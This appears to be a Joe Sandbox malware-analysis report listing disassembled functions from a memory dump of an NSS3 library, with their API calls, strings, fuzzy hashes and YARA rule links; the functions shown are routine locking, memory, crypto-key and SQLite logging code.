Part of subcall function 6C7B52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C78EAC5,00000001), ref: 6C7B52DF
Part of subcall function 6C7B52C0: EnterCriticalSection.KERNEL32(?), ref: 6C7B52F3
Part of subcall function 6C7B52C0: PR_Unlock.NSS3(?), ref: 6C7B5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7B11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7B11F3

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: ca05a993eb323239df147db7037097239f6b9b1565d1b8bb926867165803a501
Instruction ID: f410fb59c18849ea512567f5fc8e6b9767277884fe42e4c65313e76b44abf7b1
Opcode Fuzzy Hash: ca05a993eb323239df147db7037097239f6b9b1565d1b8bb926867165803a501
Instruction Fuzzy Hash: 166193B4E013499BEB10DF68DA89BAEB7B5AF04348F144138EC19BB741E731E945CB91

Function 6C7BADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE10
EnterCriticalSection.KERNEL32(?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C79D079,00000000,00000001), ref: 6C7BAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE7F
TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEF1
free.MOZGLUE(6C79CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C79CDBB,?), ref: 6C7BAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAF30

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c7eb1ceaf0e72d95042554202e78564e14487a9db68bbceaa298ec3d7586192b
Instruction ID: 9f2299460153541df95634fb5d97584b3b2ef870f968f80d0d6330e1e058bcfc
Opcode Fuzzy Hash: c7eb1ceaf0e72d95042554202e78564e14487a9db68bbceaa298ec3d7586192b
Instruction Fuzzy Hash: E3519FB5A00602AFDB11EF29D989B56B7B4FF04328F144675E808A7E11E731F964CBD1

Function 6C794CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C79AB7F,?,00000000,?), ref: 6C794CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C79AB7F,?,00000000,?), ref: 6C794CC8
TlsGetValue.KERNEL32(?,6C79AB7F,?,00000000,?), ref: 6C794CE0
EnterCriticalSection.KERNEL32(?,?,6C79AB7F,?,00000000,?), ref: 6C794CF4
PL_HashTableLookup.NSS3(?,?,?,6C79AB7F,?,00000000,?), ref: 6C794D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C794D10

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C794D26

Part of subcall function 6C839DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DC6
Part of subcall function 6C839DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DD1
Part of subcall function 6C839DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C839DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C794D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C794DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C794E02

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: db6ea02d13881ec8073b4277fad44fe13ba8c082fb748e7d07730171263d2567
Instruction ID: 874c13a10434f642dd3e9e18c86cfdab3286a84f55047005acddcac9b28df0ee
Opcode Fuzzy Hash: db6ea02d13881ec8073b4277fad44fe13ba8c082fb748e7d07730171263d2567
Instruction Fuzzy Hash: 8A41E7B9A00101ABEB119F28FE49A6677B8BF1621DF044170ED19C7B22FB31D924C7E1

Function 6C772E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C772CDA,?,00000000), ref: 6C772E1E

Part of subcall function 6C7CFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C779003,?), ref: 6C7CFD91
Part of subcall function 6C7CFD80: PORT_Alloc_Util.NSS3(A4686C7D,?), ref: 6C7CFDA2
Part of subcall function 6C7CFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C7D,?,?), ref: 6C7CFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C772E33

Part of subcall function 6C7CFD80: free.MOZGLUE(00000000,?,?), ref: 6C7CFDD1

TlsGetValue.KERNEL32 ref: 6C772E4E
EnterCriticalSection.KERNEL32(?), ref: 6C772E5E
PL_HashTableLookup.NSS3(?), ref: 6C772E71
PL_HashTableRemove.NSS3(?), ref: 6C772E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C772E96
PR_Unlock.NSS3 ref: 6C772EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C772EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C772EC5

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 7bab4410470cbaa171719266419529daaa244b9961cd1003c7e2b9dab6ba6cb9
Instruction ID: bfb03e5483728df5e84fe9ea5d53cb48ad9dd76491ff9dd245375c0d38318d85
Opcode Fuzzy Hash: 7bab4410470cbaa171719266419529daaa244b9961cd1003c7e2b9dab6ba6cb9
Instruction Fuzzy Hash: 2821DA76A40105ABDF211B29ED0DA9B3B79DB5235DF040530ED2886B11FB32D958D7E1

Function 6C800690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6C800642,?,?,6C80477E,00000000), ref: 6C800695

Part of subcall function 6C8398D0: calloc.MOZGLUE(00000001,00000084,6C760936,00000001,?,6C76102C), ref: 6C8398E5

PR_NewLock.NSS3(00000000,?,?,6C800642,?,?,6C80477E,00000000), ref: 6C8006A1

Part of subcall function 6C8398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C839946
Part of subcall function 6C8398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F16B7,00000000), ref: 6C83994E
Part of subcall function 6C8398D0: free.MOZGLUE(00000000), ref: 6C83995E

PR_GetCurrentThread.NSS3(00000000,?,?,6C800642,?,?,6C80477E,00000000), ref: 6C8006BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6C800642,?,?,6C80477E,00000000), ref: 6C8006D1
free.MOZGLUE(?,?,?,6C800642,?,?,6C80477E,00000000), ref: 6C8006D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6C800642,?,?,6C80477E,00000000), ref: 6C8006F4

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C80070A
free.MOZGLUE(?), ref: 6C800711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C80072D
PR_SetError.NSS3(?,00000000), ref: 6C800738

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: e8b709d0e25841b562e4e449798dda25283415cb61f909ab1a0fb0b7996e4f2c
Instruction ID: 0900240567364e1e033c2283da2688d31f73f7e58b465acdb916e0dfb75c3a44
Opcode Fuzzy Hash: e8b709d0e25841b562e4e449798dda25283415cb61f909ab1a0fb0b7996e4f2c
Instruction Fuzzy Hash: 0E110CB1B006666BDA30AFA88E0D74E3778AB9271DF100834E90997F01EB79E505C7D2

Function 6C8166A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6C81690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C816999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6C8169E3

Part of subcall function 6C7FF060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6C8167A0,?,?,?), ref: 6C7FF08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C816A1F
PK11_FreeSymKey.NSS3(?), ref: 6C816A3F
PK11_FreeSymKey.NSS3(?), ref: 6C816A58

Part of subcall function 6C7FEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7FEE85

Part of subcall function 6C7FEE50: realloc.MOZGLUE(5892708D,?), ref: 6C7FEEAE
Part of subcall function 6C7FEE50: PORT_Alloc_Util.NSS3(?), ref: 6C7FEEC5
Part of subcall function 6C7FEE50: htonl.WSOCK32(?), ref: 6C7FEEE3
Part of subcall function 6C7FEE50: htonl.WSOCK32(00000000,?), ref: 6C7FEEED
Part of subcall function 6C7FEE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7FEF01

Strings

hrr ech accept confirmation, xrefs: 6C8166C3, 6C816A9B
ech accept confirmation, xrefs: 6C8166BE

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: dd0c5d879f126df9ce6fd56797249451a202f54ca6f33343bf618424f99c77f9
Instruction ID: 7ee9ce22c3abb600c78b6af8569f8dc6cd15e03eaace6c011dd00ec68828cca5
Opcode Fuzzy Hash: dd0c5d879f126df9ce6fd56797249451a202f54ca6f33343bf618424f99c77f9
Instruction Fuzzy Hash: AAB1B8B6A083166BF710DB249E49BAB72E8EF4474CF040928FD94D7B41F731E619C692

Function 6C6FCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6FB999), ref: 6C6FCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6FB999), ref: 6C6FD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C6FB999), ref: 6C6FD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6FB999), ref: 6C84972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FCFDD, 6C6FD00E, 6C6FD022, 6C6FD033, 6C849780
%s at line %d of [%.10s], xrefs: 6C6FCFEC, 6C6FD018, 6C6FD029, 6C6FD03F, 6C84978B
database corruption, xrefs: 6C6FCFE7, 6C6FD013, 6C6FD028, 6C6FD039, 6C6FD03E, 6C849786

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 8ed74df995b9505b982a0549f9d737b15d53fe2b27b24695b1540a075585082a
Instruction ID: 8612ea26ec92815aa88e2bf40e9117e24bbc8ffc65210eaf6d86fca07bc4858f
Opcode Fuzzy Hash: 8ed74df995b9505b982a0549f9d737b15d53fe2b27b24695b1540a075585082a
Instruction Fuzzy Hash: AA616A71A002149BD330CF29C940BA6B7F6EF95318F1885ADE4499FB42D376E947C7A1

Function 6C882680 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6C88269F
calloc.MOZGLUE(00000014,00000008), ref: 6C8826E0
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C8826F4
PR_Sleep.NSS3(?), ref: 6C882710

Part of subcall function 6C88C2A0: PR_IntervalNow.NSS3 ref: 6C88C2BE
Part of subcall function 6C88C2A0: PR_NewCondVar.NSS3 ref: 6C88C2CC
Part of subcall function 6C88C2A0: EnterCriticalSection.KERNEL32(?), ref: 6C88C2E8
Part of subcall function 6C88C2A0: PR_IntervalNow.NSS3 ref: 6C88C2F7
Part of subcall function 6C88C2A0: _PR_MD_UNLOCK.NSS3(?), ref: 6C88C378
Part of subcall function 6C88C2A0: DeleteCriticalSection.KERNEL32(?), ref: 6C88C390
Part of subcall function 6C88C2A0: free.MOZGLUE(?), ref: 6C88C397

Part of subcall function 6C8828A0: realloc.MOZGLUE(?,000000A8), ref: 6C8828EB
Part of subcall function 6C8828A0: memset.VCRUNTIME140(-FFFFFAC0,00000000,000000A0), ref: 6C88290A

PR_SetError.NSS3(FFFFE891,00000000), ref: 6C88287D
free.MOZGLUE(?), ref: 6C88288B

Strings

PR_Poll(), xrefs: 6C882695
PR_Select(), xrefs: 6C88269A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalErrorIntervalSectionfree$CondDeleteEnterSleepcallocmemsetreallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 3069664790-3034026096
Opcode ID: 260c95712683880eb24f0836aa71ecf9c8b101bd6b9041aa6e1ba8d603b165fb
Instruction ID: 6861c5dd8608ae688f8636d709e29eeacd2193abe651ee80c8763e618b2c2dd0
Opcode Fuzzy Hash: 260c95712683880eb24f0836aa71ecf9c8b101bd6b9041aa6e1ba8d603b165fb
Instruction Fuzzy Hash: A661E274A022168FDF20DF59CA487AAB7B1FF44308F148938DD199BB55E739D904CB91

Function 6C7D4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C7D536F,00000022,?,?,00000000,?), ref: 6C7D4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C7D4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C7D4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C7D4FAE
free.MOZGLUE(?), ref: 6C7D4FC8

Strings

%s=%c%s%c, xrefs: 6C7D4FA9
oS}l", xrefs: 6C7D4DFB, 6C7D4EF4, 6C7D4EC5
%s=%s, xrefs: 6C7D4F89

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS}l"
API String ID: 2709355791-2082417239
Opcode ID: 1708a27c433e4ffd1b9bf3772f7a60c1dfe36fca9905f5aa5e7361a670198eec
Instruction ID: 4c075b2ee2c6c030f809ccb0de39babeef9d102d3f3a05f5ac963ebc35c73851
Opcode Fuzzy Hash: 1708a27c433e4ffd1b9bf3772f7a60c1dfe36fca9905f5aa5e7361a670198eec
Instruction Fuzzy Hash: 3D515971A04146ABEF01CB69C6907FF7BF99F42308F1E8136E894A7A41D325A8059792

Function 6C7FEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C81A4A1,?,00000000,?,00000001), ref: 6C7FEF6D

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

htonl.WSOCK32(00000000,?,6C81A4A1,?,00000000,?,00000001), ref: 6C7FEFE4
htonl.WSOCK32(?,00000000,?,6C81A4A1,?,00000000,?,00000001), ref: 6C7FEFF1
memcpy.VCRUNTIME140(?,?,6C81A4A1,?,00000000,?,6C81A4A1,?,00000000,?,00000001), ref: 6C7FF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C81A4A1,?,00000000,?,00000001), ref: 6C7FF027

Strings

dtls13, xrefs: 6C7FEF33

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: eb107c6c2fcd318995edff95dfa7555f3a6df9f61ad2ab2da428ae857d14265e
Instruction ID: 9df5b4555425a5dcc8939ababdb9b03bcbe838fc916e1e6a3c10734e1f948f38
Opcode Fuzzy Hash: eb107c6c2fcd318995edff95dfa7555f3a6df9f61ad2ab2da428ae857d14265e
Instruction Fuzzy Hash: 58310671A01215AFD710DF28DE80B9AB7E4EF49348F158439E8289B751E731E916CBE1

Function 6C77AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C77AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C899500,6C773F91), ref: 6C77AFD2

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

DER_GetInteger_Util.NSS3(?), ref: 6C77B007

Part of subcall function 6C7C6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C771666,?,6C77B00C,?), ref: 6C7C6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C77B02F
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C77B046
PL_FreeArenaPool.NSS3 ref: 6C77B058
PL_FinishArenaPool.NSS3 ref: 6C77B060

Strings

security, xrefs: 6C77AFB8

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b004f437ae6a2d62fed60de5a2c0eebe1b1b280373cf6219796c2ad56377a6a8
Instruction ID: 238b97ef3bb303d8200b70d86b543278bf3127edb217e8dd7074b7bf8587aaa5
Opcode Fuzzy Hash: b004f437ae6a2d62fed60de5a2c0eebe1b1b280373cf6219796c2ad56377a6a8
Instruction Fuzzy Hash: 4D313A705043049BDF308F149E4CBAA77A4AF4632CF100A68E8759BBC1E332A609C7A7

Function 6C7BCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C7BCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C7BCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C7BD079

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
